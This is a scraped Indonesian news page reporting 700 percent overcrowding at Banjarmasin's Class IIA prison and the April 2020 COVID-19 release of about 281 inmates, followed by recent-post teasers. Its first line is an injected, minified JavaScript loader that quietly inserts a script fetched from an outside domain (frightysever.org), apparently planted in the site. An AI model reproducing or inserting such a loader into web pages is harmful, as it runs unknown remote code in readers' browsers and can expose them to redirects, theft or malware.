(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Over Kapasitas 700%, Program ‘Perumahan’ Napi Jadi Angin Segar Lapas Kelas IIA Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Kondisi Lapas Kelas IIA Banjarmasin saat ini masih cukup mengkhawatirkan. Hal ini dikarenakan ada sebanyak 2.300 narapidana (napi) ditampung di lapas ini. Padahal, kapasitas lapas hanya mampu menampung maksimal 300 napi saja.

Sehingga jika dihitung, Lapas Kelas IIA Banjarmasin mengalami overkapasitas sebesar 700 persen. “Akhirnya narapidana pun harus tidur berdesak-desakan di dalam lapas,” kata Kepala Lapas Kelas II Banjarmasin Imam Setya saat ditemui, Senin (6/4/2020) siang.

Diakui Imam, Lapas yang ia pimpin merupakan lapas yang dihuni oleh napi terbanyak se Kalimantan. Bahkan bukan tidak mungkin, karena banyaknya napi yang ditampung, lapas ini masuk ke dalam rekor empat besar terpadat se Indonesia.

Kepala Lapas Kelas II Banjarmasin Imam Setya Foto: Fikri

Menurut Imam, kendati ada upaya pengurangan napi sekitar 200 orang sebagai tindak lanjut dari instruksi Kemenkumham RI terkait pandemi Covid-19 di Indonesia, hal ini bukan berarti mampu mengurangi penghuni Lapas. Memang, tindakan ini masih membuat lapas tetap overkapasitas. “Saya menjadi Kalapas di sini baru Januari 2020 tadi.

Waktu saya masuk itu jumlah napinya mencapai 2.600 orang, jika keluar sekitar 280 orang keluar, berarti sisa 2.300-an napi,” jelas Imam.

Pembebasan untuk napi di Lapas Kelas IIA Banjarmasin ini dilakukan secara bertahap. Hingga Senin (6/4/2020) siang, total sebanyak 281 orang napi telah dibebaskan untuk dipulangkan ke rumahnya, dan diminta untuk tetap di rumah. “Hari pertama kita bebaskan dengan asimilasi ada 15 orang, hari kedua 77 orang, hari ketiga 84, hari keempat 64, dan hari ini 41 orang dan besok masih ada lagi,” lugas Imam.

Imam menungkapkan, pihaknya kemungkinan akan melakukan pembebasan terhadap beberapa napi, sesuai dengan edaran Ditjenpas Kemenkumham RI. Yakni, pidana pendek yang sudah setengah atau masa pidananya 6 bulan atau kurang dari 6 bulan. (Kanalkalimantan.com/fikri)

 

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.